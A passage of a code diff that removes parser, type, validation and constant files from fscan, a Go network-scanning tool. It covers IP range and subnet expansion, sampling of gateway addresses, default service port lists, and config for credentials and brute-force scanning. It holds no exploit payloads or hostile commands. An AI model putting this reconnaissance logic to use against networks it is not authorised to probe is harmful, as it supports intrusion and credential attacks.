errors = append(errors, NewParseError(ErrorTypeExcludePortError, err.Error(), "command line", 0, err))
} else {
excludePorts = portList
}
}
return excludePorts, errors, warnings
}
// parseHostPorts 解析主机端口组合
func (tp *TargetParser) parseHostPorts(input *TargetInput) ([]string, []error, []string) {
var hostPorts []string
var errors []error
var warnings []string
for _, hp := range input.HostPort {
if hp != "" {
if valid, err := tp.validateHostPort(hp); valid {
hostPorts = append(hostPorts, hp)
} else {
warnings = append(warnings, fmt.Sprintf("无效主机端口组合: %s - %s", hp, err.Error()))
}
}
}
return hostPorts, errors, warnings
}
// parseHostList 解析主机列表
func (tp *TargetParser) parseHostList(hostStr string) ([]string, error) {
if hostStr == "" {
return nil, nil
}
var hosts []string
hostItems := strings.Split(hostStr, ",")
for _, item := range hostItems {
item = strings.TrimSpace(item)
if item == "" {
continue
}
// 检查各种IP格式
switch {
case item == PrivateNetwork192:
// 常用内网段简写
cidrHosts, err := tp.parseCIDR(PrivateNetwork192CIDR)
if err != nil {
return nil, fmt.Errorf("192网段解析失败: %v", err)
}
hosts = append(hosts, cidrHosts...)
case item == PrivateNetwork172:
// 常用内网段简写
cidrHosts, err := tp.parseCIDR(PrivateNetwork172CIDR)
if err != nil {
return nil, fmt.Errorf("172网段解析失败: %v", err)
}
hosts = append(hosts, cidrHosts...)
case item == PrivateNetwork10:
// 常用内网段简写
cidrHosts, err := tp.parseCIDR(PrivateNetwork10CIDR)
if err != nil {
return nil, fmt.Errorf("10网段解析失败: %v", err)
}
hosts = append(hosts, cidrHosts...)
case strings.HasSuffix(item, "/8"):
// 处理/8网段使用采样方式
sampledHosts := tp.parseSubnet8(item)
hosts = append(hosts, sampledHosts...)
case strings.Contains(item, "/"):
// CIDR表示法
cidrHosts, err := tp.parseCIDR(item)
if err != nil {
return nil, fmt.Errorf("CIDR解析失败 %s: %v", item, err)
}
hosts = append(hosts, cidrHosts...)
case strings.Contains(item, "-"):
// IP范围表示法
rangeHosts, err := tp.parseIPRange(item)
if err != nil {
return nil, fmt.Errorf("IP范围解析失败 %s: %v", item, err)
}
hosts = append(hosts, rangeHosts...)
default:
// 单个IP或域名
hosts = append(hosts, item)
}
}
return hosts, nil
}
// parsePortList 解析端口列表,支持预定义端口组
func (tp *TargetParser) parsePortList(portStr string) ([]int, error) {
if portStr == "" {
return nil, nil
}
// 检查是否为预定义端口组
portStr = tp.expandPortGroups(portStr)
var ports []int
portItems := strings.Split(portStr, ",")
for _, item := range portItems {
item = strings.TrimSpace(item)
if item == "" {
continue
}
if strings.Contains(item, "-") {
// 端口范围
rangePorts, err := tp.parsePortRange(item)
if err != nil {
return nil, fmt.Errorf("端口范围解析失败 %s: %v", item, err)
}
// 检查范围大小
if len(rangePorts) > tp.options.MaxPortRange {
return nil, fmt.Errorf("端口范围过大: %d, 最大允许: %d", len(rangePorts), tp.options.MaxPortRange)
}
ports = append(ports, rangePorts...)
} else {
// 单个端口
port, err := strconv.Atoi(item)
if err != nil {
return nil, fmt.Errorf("无效端口号: %s", item)
}
if port < MinPort || port > MaxPort {
return nil, fmt.Errorf("端口号超出范围: %d", port)
}
ports = append(ports, port)
}
}
return ports, nil
}
// expandPortGroups 展开预定义端口组
func (tp *TargetParser) expandPortGroups(portStr string) string {
// 使用预定义的端口组
portGroups := GetTargetPortGroups()
if expandedPorts, exists := portGroups[portStr]; exists {
return expandedPorts
}
return portStr
}
// parseCIDR 解析CIDR网段
func (tp *TargetParser) parseCIDR(cidr string) ([]string, error) {
_, ipNet, err := net.ParseCIDR(cidr)
if err != nil {
return nil, err
}
var ips []string
ip := make(net.IP, len(ipNet.IP))
copy(ip, ipNet.IP)
count := 0
for ipNet.Contains(ip) {
ips = append(ips, ip.String())
count++
// 防止生成过多IP
if count >= tp.options.MaxTargets {
break
}
tp.nextIP(ip)
}
return ips, nil
}
// parseIPRange 解析IP范围支持简写格式
func (tp *TargetParser) parseIPRange(rangeStr string) ([]string, error) {
parts := strings.Split(rangeStr, "-")
if len(parts) != 2 {
return nil, fmt.Errorf("无效的IP范围格式")
}
startIPStr := strings.TrimSpace(parts[0])
endIPStr := strings.TrimSpace(parts[1])
// 验证起始IP
startIP := net.ParseIP(startIPStr)
if startIP == nil {
return nil, fmt.Errorf("无效的起始IP地址: %s", startIPStr)
}
// 处理简写格式 (如: 192.168.1.1-100)
if len(endIPStr) < 4 || !strings.Contains(endIPStr, ".") {
return tp.parseShortIPRange(startIPStr, endIPStr)
}
// 处理完整格式 (如: 192.168.1.1-192.168.1.100)
endIP := net.ParseIP(endIPStr)
if endIP == nil {
return nil, fmt.Errorf("无效的结束IP地址: %s", endIPStr)
}
return tp.parseFullIPRange(startIP, endIP)
}
// parseShortIPRange 解析简写格式的IP范围
func (tp *TargetParser) parseShortIPRange(startIPStr, endSuffix string) ([]string, error) {
// 将结束段转换为数字
endNum, err := strconv.Atoi(endSuffix)
if err != nil || endNum > MaxIPv4OctetValue {
return nil, fmt.Errorf("无效的IP范围结束值: %s", endSuffix)
}
// 分解起始IP
ipParts := strings.Split(startIPStr, ".")
if len(ipParts) != IPv4OctetCount {
return nil, fmt.Errorf("无效的IP地址格式: %s", startIPStr)
}
// 获取前缀和起始IP的最后一部分
prefixIP := strings.Join(ipParts[0:3], ".")
startNum, err := strconv.Atoi(ipParts[3])
if err != nil || startNum > endNum {
return nil, fmt.Errorf("无效的IP范围: %s-%s", startIPStr, endSuffix)
}
// 生成IP范围
var allIP []string
for i := startNum; i <= endNum; i++ {
allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i))
}
return allIP, nil
}
// parseFullIPRange 解析完整格式的IP范围
func (tp *TargetParser) parseFullIPRange(startIP, endIP net.IP) ([]string, error) {
// 转换为IPv4
start4 := startIP.To4()
end4 := endIP.To4()
if start4 == nil || end4 == nil {
return nil, fmt.Errorf("仅支持IPv4地址范围")
}
// 计算IP地址的整数表示
startInt := (int(start4[0]) << IPFirstOctetShift) | (int(start4[1]) << IPSecondOctetShift) | (int(start4[2]) << IPThirdOctetShift) | int(start4[3])
endInt := (int(end4[0]) << IPFirstOctetShift) | (int(end4[1]) << IPSecondOctetShift) | (int(end4[2]) << IPThirdOctetShift) | int(end4[3])
// 检查范围的有效性
if startInt > endInt {
return nil, fmt.Errorf("起始IP大于结束IP")
}
// 限制IP范围的大小防止生成过多IP导致内存问题
if endInt-startInt > tp.options.MaxTargets {
return nil, fmt.Errorf("IP范围过大超过最大限制: %d", tp.options.MaxTargets)
}
// 生成IP范围
var allIP []string
for ipInt := startInt; ipInt <= endInt; ipInt++ {
ip := fmt.Sprintf("%d.%d.%d.%d",
(ipInt>>IPFirstOctetShift)&IPOctetMask,
(ipInt>>IPSecondOctetShift)&IPOctetMask,
(ipInt>>IPThirdOctetShift)&IPOctetMask,
ipInt&IPOctetMask)
allIP = append(allIP, ip)
}
return allIP, nil
}
// parseSubnet8 解析/8网段的IP地址生成采样IP列表
func (tp *TargetParser) parseSubnet8(subnet string) []string {
// 去除CIDR后缀获取基础IP
baseIP := subnet[:len(subnet)-2]
if net.ParseIP(baseIP) == nil {
return nil
}
// 获取/8网段的第一段
firstOctet := strings.Split(baseIP, ".")[0]
var sampleIPs []string
// 对常用网段进行更全面的扫描
commonSecondOctets := GetCommonSecondOctets()
// 对于每个选定的第二段,采样部分第三段
for _, secondOctet := range commonSecondOctets {
for thirdOctet := 0; thirdOctet < 256; thirdOctet += Subnet8ThirdOctetStep {
// 添加常见的网关和服务器IP
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, DefaultGatewayLastOctet)) // 默认网关
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, RouterSwitchLastOctet)) // 通常用于路由器/交换机
// 随机采样不同范围的主机IP
fourthOctet := tp.randomInt(SamplingMinHost, SamplingMaxHost)
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, fourthOctet))
}
}
// 对其他二级网段进行稀疏采样
for secondOctet := 0; secondOctet < 256; secondOctet += Subnet8SamplingStep {
for thirdOctet := 0; thirdOctet < 256; thirdOctet += Subnet8SamplingStep {
// 对于采样的网段取几个代表性IP
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, DefaultGatewayLastOctet))
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, tp.randomInt(SamplingMinHost, SamplingMaxHost)))
}
}
// 限制采样数量
if len(sampleIPs) > tp.options.MaxTargets {
sampleIPs = sampleIPs[:tp.options.MaxTargets]
}
return sampleIPs
}
// randomInt 生成指定范围内的随机整数
func (tp *TargetParser) randomInt(min, max int) int {
if min >= max || min < 0 || max <= 0 {
return max
}
return min + (max-min)/2 // 简化版本避免依赖rand
}
// parsePortRange 解析端口范围
func (tp *TargetParser) parsePortRange(rangeStr string) ([]int, error) {
parts := strings.Split(rangeStr, "-")
if len(parts) != 2 {
return nil, fmt.Errorf("无效的端口范围格式")
}
startPort, err1 := strconv.Atoi(strings.TrimSpace(parts[0]))
endPort, err2 := strconv.Atoi(strings.TrimSpace(parts[1]))
if err1 != nil || err2 != nil {
return nil, fmt.Errorf("无效的端口号")
}
if startPort > endPort {
startPort, endPort = endPort, startPort
}
if startPort < MinPort || endPort > MaxPort {
return nil, fmt.Errorf("端口号超出范围")
}
var ports []int
for port := startPort; port <= endPort; port++ {
ports = append(ports, port)
}
return ports, nil
}
// nextIP 获取下一个IP地址
func (tp *TargetParser) nextIP(ip net.IP) {
for j := len(ip) - 1; j >= 0; j-- {
ip[j]++
if ip[j] > 0 {
break
}
}
}
// validateHost 验证主机地址
func (tp *TargetParser) validateHost(host string) (bool, error) {
if host == "" {
return false, fmt.Errorf("主机地址为空")
}
// 检查是否为IP地址
if ip := net.ParseIP(host); ip != nil {
return tp.validateIP(ip)
}
// 检查是否为域名
if tp.isValidDomain(host) {
return true, nil
}
return false, fmt.Errorf("无效的主机地址格式")
}
// validateIP 验证IP地址
func (tp *TargetParser) validateIP(ip net.IP) (bool, error) {
if ip == nil {
return false, fmt.Errorf("IP地址为空")
}
// 检查是否为私有IP
if !tp.options.AllowPrivateIPs && tp.isPrivateIP(ip) {
return false, fmt.Errorf("不允许私有IP地址")
}
// 检查是否为回环地址
if !tp.options.AllowLoopback && ip.IsLoopback() {
return false, fmt.Errorf("不允许回环地址")
}
return true, nil
}
// validateURL 验证URL
func (tp *TargetParser) validateURL(rawURL string) (bool, error) {
if rawURL == "" {
return false, fmt.Errorf("URL为空")
}
if !tp.options.ValidateURLs {
return true, nil
}
if !tp.urlRegex.MatchString(rawURL) {
return false, fmt.Errorf("URL格式无效")
}
// 进一步验证URL格式
_, err := url.Parse(rawURL)
if err != nil {
return false, fmt.Errorf("URL解析失败: %v", err)
}
return true, nil
}
// validateHostPort 验证主机端口组合
func (tp *TargetParser) validateHostPort(hostPort string) (bool, error) {
parts := strings.Split(hostPort, ":")
if len(parts) != 2 {
return false, fmt.Errorf("主机端口格式无效,应为 host:port")
}
host := strings.TrimSpace(parts[0])
portStr := strings.TrimSpace(parts[1])
// 验证主机
if valid, err := tp.validateHost(host); !valid {
return false, fmt.Errorf("主机无效: %v", err)
}
// 验证端口
port, err := strconv.Atoi(portStr)
if err != nil {
return false, fmt.Errorf("端口号无效: %s", portStr)
}
if port < MinPort || port > MaxPort {
return false, fmt.Errorf("端口号超出范围: %d", port)
}
return true, nil
}
// isPrivateIP 检查是否为私有IP
func (tp *TargetParser) isPrivateIP(ip net.IP) bool {
if ip4 := ip.To4(); ip4 != nil {
// 10.0.0.0/8
if ip4[0] == 10 {
return true
}
// 172.16.0.0/12
if ip4[0] == 172 && ip4[1] >= Private172StartSecondOctet && ip4[1] <= Private172EndSecondOctet {
return true
}
// 192.168.0.0/16
if ip4[0] == 192 && ip4[1] == Private192SecondOctet {
return true
}
}
return false
}
// isValidDomain 检查是否为有效域名
func (tp *TargetParser) isValidDomain(domain string) bool {
return CompiledDomainRegex.MatchString(domain) && len(domain) <= MaxDomainLength
}
// excludeHosts 排除指定主机
func (tp *TargetParser) excludeHosts(hosts, excludeList []string) []string {
excludeMap := make(map[string]struct{})
for _, exclude := range excludeList {
excludeMap[exclude] = struct{}{}
}
var result []string
for _, host := range hosts {
if _, excluded := excludeMap[host]; !excluded {
result = append(result, host)
}
}
return result
}
// removeDuplicateStrings 去重字符串切片
func (tp *TargetParser) removeDuplicateStrings(slice []string) []string {
seen := make(map[string]struct{})
var result []string
for _, item := range slice {
if _, exists := seen[item]; !exists {
seen[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// removeDuplicatePorts 去重端口切片
func (tp *TargetParser) removeDuplicatePorts(slice []int) []int {
seen := make(map[int]struct{})
var result []int
for _, item := range slice {
if _, exists := seen[item]; !exists {
seen[item] = struct{}{}
result = append(result, item)
}
}
return result
}
// generateStatistics 生成统计信息
func (tp *TargetParser) generateStatistics(hosts, urls []string, ports, excludePorts []int) *TargetStatistics {
return &TargetStatistics{
TotalHosts: len(hosts),
TotalURLs: len(urls),
TotalPorts: len(ports),
ExcludedPorts: len(excludePorts),
}
}
// =============================================================================================
// 已删除的死代码未使用Validate 和 GetStatistics 方法
// =============================================================================================

View File

@ -1,163 +0,0 @@
package parsers
import (
"errors"
"fmt"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
// ParsedConfig 解析后的完整配置
type ParsedConfig struct {
Targets *TargetConfig `json:"targets"`
Credentials *CredentialConfig `json:"credentials"`
Network *NetworkConfig `json:"network"`
Validation *ValidationConfig `json:"validation"`
}
// TargetConfig 目标配置
type TargetConfig struct {
Hosts []string `json:"hosts"`
URLs []string `json:"urls"`
Ports []int `json:"ports"`
ExcludePorts []int `json:"exclude_ports"`
HostPorts []string `json:"host_ports"`
LocalMode bool `json:"local_mode"`
Statistics *TargetStatistics `json:"statistics,omitempty"`
}
// TargetStatistics 目标解析统计
type TargetStatistics struct {
TotalHosts int `json:"total_hosts"`
TotalURLs int `json:"total_urls"`
TotalPorts int `json:"total_ports"`
ExcludedHosts int `json:"excluded_hosts"`
ExcludedPorts int `json:"excluded_ports"`
}
// CredentialConfig 认证配置
type CredentialConfig struct {
Usernames []string `json:"usernames"`
Passwords []string `json:"passwords"`
HashValues []string `json:"hash_values"`
HashBytes [][]byte `json:"hash_bytes,omitempty"`
SshKeyPath string `json:"ssh_key_path"`
Domain string `json:"domain"`
Statistics *CredentialStats `json:"statistics,omitempty"`
}
// CredentialStats 认证配置统计
type CredentialStats struct {
TotalUsernames int `json:"total_usernames"`
TotalPasswords int `json:"total_passwords"`
TotalHashes int `json:"total_hashes"`
UniqueUsernames int `json:"unique_usernames"`
UniquePasswords int `json:"unique_passwords"`
ValidHashes int `json:"valid_hashes"`
InvalidHashes int `json:"invalid_hashes"`
}
// NetworkConfig 网络配置
type NetworkConfig struct {
HttpProxy string `json:"http_proxy"`
Socks5Proxy string `json:"socks5_proxy"`
Timeout time.Duration `json:"timeout"`
WebTimeout time.Duration `json:"web_timeout"`
DisablePing bool `json:"disable_ping"`
EnableDNSLog bool `json:"enable_dns_log"`
UserAgent string `json:"user_agent"`
Cookie string `json:"cookie"`
}
// ValidationConfig 验证配置
type ValidationConfig struct {
ScanMode string `json:"scan_mode"`
ConflictChecked bool `json:"conflict_checked"`
Errors []error `json:"errors,omitempty"`
Warnings []string `json:"warnings,omitempty"`
}
// ParseResult 解析结果
type ParseResult struct {
Config *ParsedConfig `json:"config"`
Success bool `json:"success"`
Errors []error `json:"errors,omitempty"`
Warnings []string `json:"warnings,omitempty"`
ParseTime time.Duration `json:"parse_time"`
}
// 预定义错误类型
var (
ErrEmptyInput = errors.New(i18n.GetText("parser_empty_input"))
)
// ParserOptions 解析器选项
type ParserOptions struct {
EnableConcurrency bool // 启用并发解析
MaxWorkers int // 最大工作协程数
Timeout time.Duration // 解析超时时间
EnableValidation bool // 启用详细验证
EnableStatistics bool // 启用统计信息
IgnoreErrors bool // 忽略非致命错误
FileMaxSize int64 // 文件最大大小限制
MaxTargets int // 最大目标数量限制
}
// DefaultParserOptions 返回默认解析器选项
func DefaultParserOptions() *ParserOptions {
return &ParserOptions{
EnableConcurrency: DefaultEnableConcurrency,
MaxWorkers: DefaultMaxWorkers,
Timeout: DefaultTimeout,
EnableValidation: DefaultEnableValidation,
EnableStatistics: DefaultEnableStatistics,
IgnoreErrors: DefaultIgnoreErrors,
FileMaxSize: DefaultFileMaxSize,
MaxTargets: DefaultMaxTargets,
}
}
// Parser 解析器接口
type Parser interface {
Parse(options *ParserOptions) (*ParseResult, error)
Validate() error
GetStatistics() interface{}
}
// FileSource 文件源
type FileSource struct {
Path string `json:"path"`
Size int64 `json:"size"`
ModTime time.Time `json:"mod_time"`
LineCount int `json:"line_count"`
ValidLines int `json:"valid_lines"`
}
// ParseError 解析错误,包含详细上下文
type ParseError struct {
Type string `json:"type"`
Message string `json:"message"`
Source string `json:"source"`
Line int `json:"line,omitempty"`
Context string `json:"context,omitempty"`
Original error `json:"original,omitempty"`
}
func (e *ParseError) Error() string {
if e.Line > 0 {
return fmt.Sprintf("%s:%d - %s: %s", e.Source, e.Line, e.Type, e.Message)
}
return fmt.Sprintf("%s - %s: %s", e.Source, e.Type, e.Message)
}
// NewParseError 创建解析错误
func NewParseError(errType, message, source string, line int, original error) *ParseError {
return &ParseError{
Type: errType,
Message: message,
Source: source,
Line: line,
Original: original,
}
}

View File

@ -1,293 +0,0 @@
package parsers
import (
"fmt"
"sync"
"time"
)
// ValidationParser 参数验证解析器
type ValidationParser struct {
mu sync.RWMutex //nolint:unused // reserved for future thread safety
options *ValidationParserOptions
}
// ValidationParserOptions 验证解析器选项
type ValidationParserOptions struct {
StrictMode bool `json:"strict_mode"` // 严格模式
AllowEmpty bool `json:"allow_empty"` // 允许空配置
CheckConflicts bool `json:"check_conflicts"` // 检查参数冲突
ValidateTargets bool `json:"validate_targets"` // 验证目标有效性
ValidateNetwork bool `json:"validate_network"` // 验证网络配置
MaxErrorCount int `json:"max_error_count"` // 最大错误数量
}
// DefaultValidationParserOptions 默认验证解析器选项
func DefaultValidationParserOptions() *ValidationParserOptions {
return &ValidationParserOptions{
StrictMode: DefaultStrictMode,
AllowEmpty: DefaultAllowEmpty,
CheckConflicts: DefaultCheckConflicts,
ValidateTargets: DefaultValidateTargets,
ValidateNetwork: DefaultValidateNetwork,
MaxErrorCount: DefaultMaxErrorCount,
}
}
// NewValidationParser 创建验证解析器
func NewValidationParser(options *ValidationParserOptions) *ValidationParser {
if options == nil {
options = DefaultValidationParserOptions()
}
return &ValidationParser{
options: options,
}
}
// ValidationInput 验证输入参数
type ValidationInput struct {
// 扫描模式
ScanMode string `json:"scan_mode"`
LocalMode bool `json:"local_mode"`
// 目标配置
HasHosts bool `json:"has_hosts"`
HasURLs bool `json:"has_urls"`
HasPorts bool `json:"has_ports"`
// 网络配置
HasProxy bool `json:"has_proxy"`
DisablePing bool `json:"disable_ping"`
// 凭据配置
HasCredentials bool `json:"has_credentials"`
// 特殊模式
PocScan bool `json:"poc_scan"`
BruteScan bool `json:"brute_scan"`
LocalScan bool `json:"local_scan"`
}
// ConflictRule 冲突规则
type ConflictRule struct {
Name string `json:"name"`
Description string `json:"description"`
Fields []string `json:"fields"`
Severity string `json:"severity"` // error, warning, info
}
// ValidationRule 验证规则
type ValidationRule struct {
Name string `json:"name"`
Description string `json:"description"`
Validator func(input *ValidationInput) error `json:"-"`
Severity string `json:"severity"`
}
// Parse 执行参数验证
func (vp *ValidationParser) Parse(input *ValidationInput, config *ParsedConfig, options *ParserOptions) (*ParseResult, error) {
if input == nil {
return nil, NewParseError(ErrorTypeInputError, "验证输入为空", "", 0, ErrEmptyInput)
}
startTime := time.Now()
result := &ParseResult{
Config: &ParsedConfig{
Validation: &ValidationConfig{
ScanMode: input.ScanMode,
ConflictChecked: true,
},
},
Success: true,
}
var errors []error
var warnings []string
// 基础验证
basicErrors, basicWarnings := vp.validateBasic(input)
errors = append(errors, basicErrors...)
warnings = append(warnings, basicWarnings...)
// 冲突检查
if vp.options.CheckConflicts {
conflictErrors, conflictWarnings := vp.checkConflicts(input)
errors = append(errors, conflictErrors...)
warnings = append(warnings, conflictWarnings...)
}
// 逻辑验证
logicErrors, logicWarnings := vp.validateLogic(input, config)
errors = append(errors, logicErrors...)
warnings = append(warnings, logicWarnings...)
// 性能建议
performanceWarnings := vp.checkPerformance(input, config)
warnings = append(warnings, performanceWarnings...)
// 检查错误数量限制
if len(errors) > vp.options.MaxErrorCount {
errors = errors[:vp.options.MaxErrorCount]
warnings = append(warnings, fmt.Sprintf("错误数量过多,仅显示前%d个", vp.options.MaxErrorCount))
}
// 更新结果
result.Config.Validation.Errors = errors
result.Config.Validation.Warnings = warnings
result.Errors = errors
result.Warnings = warnings
result.ParseTime = time.Since(startTime)
result.Success = len(errors) == 0
return result, nil
}
// validateBasic 基础验证
func (vp *ValidationParser) validateBasic(input *ValidationInput) ([]error, []string) {
var errors []error
var warnings []string
// 检查是否有任何目标
if !input.HasHosts && !input.HasURLs && !input.LocalMode {
if !vp.options.AllowEmpty {
errors = append(errors, NewParseError("VALIDATION_ERROR", "未指定任何扫描目标", "basic", 0, nil))
} else {
warnings = append(warnings, "未指定扫描目标,将使用默认配置")
}
}
// 检查扫描模式
if input.ScanMode != "" {
if err := vp.validateScanMode(input.ScanMode); err != nil {
if vp.options.StrictMode {
errors = append(errors, err)
} else {
warnings = append(warnings, err.Error())
}
}
}
return errors, warnings
}
// checkConflicts 检查参数冲突
func (vp *ValidationParser) checkConflicts(input *ValidationInput) ([]error, []string) {
var errors []error
var warnings []string
// 定义冲突规则 (预留用于扩展)
_ = []ConflictRule{
{
Name: "multiple_scan_modes",
Description: "不能同时使用多种扫描模式",
Fields: []string{"hosts", "urls", "local_mode"},
Severity: "error",
},
{
Name: "proxy_with_ping",
Description: "使用代理时建议禁用Ping检测",
Fields: []string{"proxy", "ping"},
Severity: "warning",
},
}
// 检查扫描模式冲突
scanModes := 0
if input.HasHosts {
scanModes++
}
if input.HasURLs {
scanModes++
}
if input.LocalMode {
scanModes++
}
if scanModes > 1 {
errors = append(errors, NewParseError("CONFLICT_ERROR",
"不能同时指定多种扫描模式(主机扫描、URL扫描、本地模式)", "validation", 0, nil))
}
// 检查代理和Ping冲突
if input.HasProxy && !input.DisablePing {
warnings = append(warnings, "代理模式下Ping检测可能失效")
}
return errors, warnings
}
// validateLogic 逻辑验证
func (vp *ValidationParser) validateLogic(input *ValidationInput, config *ParsedConfig) ([]error, []string) {
var errors []error
var warnings []string
// 验证目标配置逻辑
if vp.options.ValidateTargets && config != nil && config.Targets != nil {
// 检查排除端口配置
if len(config.Targets.ExcludePorts) > 0 && len(config.Targets.Ports) == 0 {
warnings = append(warnings, "排除端口无效")
}
}
return errors, warnings
}
// checkPerformance 性能检查
func (vp *ValidationParser) checkPerformance(input *ValidationInput, config *ParsedConfig) []string {
var warnings []string
if config == nil {
return warnings
}
// 检查目标数量
if config.Targets != nil {
totalTargets := len(config.Targets.Hosts) * len(config.Targets.Ports)
if totalTargets > MaxTargetsThreshold {
warnings = append(warnings, fmt.Sprintf("大量目标(%d),可能耗时较长", totalTargets))
}
// 检查端口范围
if len(config.Targets.Ports) > DefaultMaxPortRange {
warnings = append(warnings, "端口数量过多")
}
}
// 检查超时配置
if config.Network != nil {
if config.Network.Timeout < MinTimeoutThreshold {
warnings = append(warnings, "超时过短")
}
if config.Network.Timeout > MaxTimeoutThreshold {
warnings = append(warnings, "超时过长")
}
}
return warnings
}
// validateScanMode 验证扫描模式
func (vp *ValidationParser) validateScanMode(scanMode string) error {
validModes := []string{"all", "icmp"}
// 检查是否为预定义模式
for _, mode := range validModes {
if scanMode == mode {
return nil
}
}
// 允许插件名称作为扫描模式,实际插件验证在运行时进行
// 这里不做严格验证,避免维护两套插件列表
return nil
}
// =============================================================================================
// 已删除的死代码未使用Validate 和 GetStatistics 方法
// =============================================================================================

View File

@ -1,279 +0,0 @@
package parsers
import (
"regexp"
"time"
)
/*
constants.go - 解析器系统常量定义
统一管理common/parsers包中的所有常量便于查看和编辑
*/
// =============================================================================
// 默认解析器选项常量 (从Types.go迁移)
// =============================================================================
const (
// 解析器默认配置
DefaultEnableConcurrency = true
DefaultMaxWorkers = 4
DefaultTimeout = 30 * time.Second
DefaultEnableValidation = true
DefaultEnableStatistics = true
DefaultIgnoreErrors = false
DefaultFileMaxSize = 100 * 1024 * 1024 // 100MB
DefaultMaxTargets = 10000 // 10K targets
)
// =============================================================================
// 文件读取器常量 (从FileReader.go迁移)
// =============================================================================
const (
// 文件读取器默认配置
DefaultMaxCacheSize = 10
DefaultEnableCache = true
DefaultFileReaderMaxFileSize = 50 * 1024 * 1024 // 50MB
DefaultFileReaderTimeout = 30 * time.Second
DefaultFileReaderEnableValidation = true
DefaultTrimSpace = true
DefaultSkipEmpty = true
DefaultSkipComments = true
// 文件内容验证
MaxLineLength = 1000 // 单行最大字符数
MaxValidRune = 32 // 最小有效字符ASCII值
TabRune = 9 // Tab字符
NewlineRune = 10 // 换行符
CarriageReturnRune = 13 // 回车符
CommentPrefix = "#" // 注释前缀
)
// =============================================================================
// 凭据解析器常量 (从CredentialParser.go迁移)
// =============================================================================
const (
// 凭据验证限制
DefaultMaxUsernameLength = 64
DefaultMaxPasswordLength = 128
DefaultAllowEmptyPasswords = true
DefaultValidateHashes = true
DefaultDeduplicateUsers = true
DefaultDeduplicatePasswords = true
DefaultCredentialsEnableStatistics = true
// 哈希验证
HashRegexPattern = `^[a-fA-F0-9]{32}$` // MD5哈希正则表达式
HashValidationLength = 32 // 有效哈希长度
InvalidUsernameChars = "\r\n\t" // 无效用户名字符
)
// =============================================================================
// 网络解析器常量 (从NetworkParser.go迁移)
// =============================================================================
const (
// 网络配置默认值
DefaultValidateProxies = true
DefaultAllowInsecure = false
DefaultNetworkTimeout = 30 * time.Second
DefaultWebTimeout = 10 * time.Second
DefaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
// 超时限制
MaxTimeoutSeconds = 300 // 最大超时5分钟
MaxWebTimeoutSeconds = 120 // 最大Web超时2分钟
// 字符串长度限制
MaxUserAgentLength = 512 // 最大用户代理长度
MaxCookieLength = 4096 // 最大Cookie长度
// 代理快捷配置
ProxyShortcut1 = "1"
ProxyShortcut2 = "2"
ProxyShortcutHTTP = "http://127.0.0.1:8080"
ProxyShortcutSOCKS5 = "socks5://127.0.0.1:1080"
// 协议支持
ProtocolHTTP = "http"
ProtocolHTTPS = "https"
ProtocolSOCKS5 = "socks5"
ProtocolPrefix = "://"
SOCKS5Prefix = "socks5://"
HTTPPrefix = "http://"
// 端口范围
MinPort = 1
MaxPort = 65535
// 无效字符集
InvalidUserAgentChars = "\r\n\t"
)
// GetCommonBrowsers 获取常见浏览器标识列表
func GetCommonBrowsers() []string {
return []string{
"Mozilla", "Chrome", "Safari", "Firefox", "Edge", "Opera",
"AppleWebKit", "Gecko", "Trident", "Presto",
}
}
// =============================================================================
// 目标解析器常量 (从TargetParser.go迁移)
// =============================================================================
const (
// 目标解析器默认配置
DefaultTargetMaxTargets = 10000
DefaultMaxPortRange = 1000
DefaultAllowPrivateIPs = true
DefaultAllowLoopback = true
DefaultValidateURLs = true
DefaultResolveDomains = false
DefaultTargetEnableStatistics = true
DefaultPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616"
// 正则表达式模式
IPv4RegexPattern = `^(\d{1,3}\.){3}\d{1,3}$`
PortRangeRegexPattern = `^(\d+)(-(\d+))?$`
URLValidationRegexPattern = `^https?://[^\s/$.?#].[^\s]*$`
DomainRegexPattern = `^[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$`
CookieRegexPattern = `^[^=;\s]+(=[^;\s]*)?(\s*;\s*[^=;\s]+(=[^;\s]*)?)*$`
// IP地址限制
MaxIPv4OctetValue = 255
IPv4OctetCount = 4
MaxDomainLength = 253
// CIDR网段简写
PrivateNetwork192 = "192"
PrivateNetwork172 = "172"
PrivateNetwork10 = "10"
PrivateNetwork192CIDR = "192.168.0.0/16"
PrivateNetwork172CIDR = "172.16.0.0/12"
PrivateNetwork10CIDR = "10.0.0.0/8"
// 私有网络范围
Private172StartSecondOctet = 16
Private172EndSecondOctet = 31
Private192SecondOctet = 168
// /8网段采样配置
Subnet8SamplingStep = 32
Subnet8ThirdOctetStep = 10
// IP地址计算位移
IPFirstOctetShift = 24
IPSecondOctetShift = 16
IPThirdOctetShift = 8
IPOctetMask = 0xFF
)
// GetCommonSecondOctets 获取常用第二段IP
func GetCommonSecondOctets() []int {
return []int{0, 1, 2, 10, 100, 200, 254}
}
// =============================================================================
// 简化解析器常量 (从Simple.go迁移)
// =============================================================================
const (
// 端口和主机限制
SimpleMaxHosts = 10000
// 网段简写展开
DefaultGatewayLastOctet = 1
RouterSwitchLastOctet = 254
SamplingMinHost = 2
SamplingMaxHost = 253
)
// GetPortGroups 获取预定义端口组映射
func GetPortGroups() map[string]string {
return map[string]string{
"web": "80,81,82,83,84,85,86,87,88,89,90,443,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8443,9000,9001,9002,9080,9090",
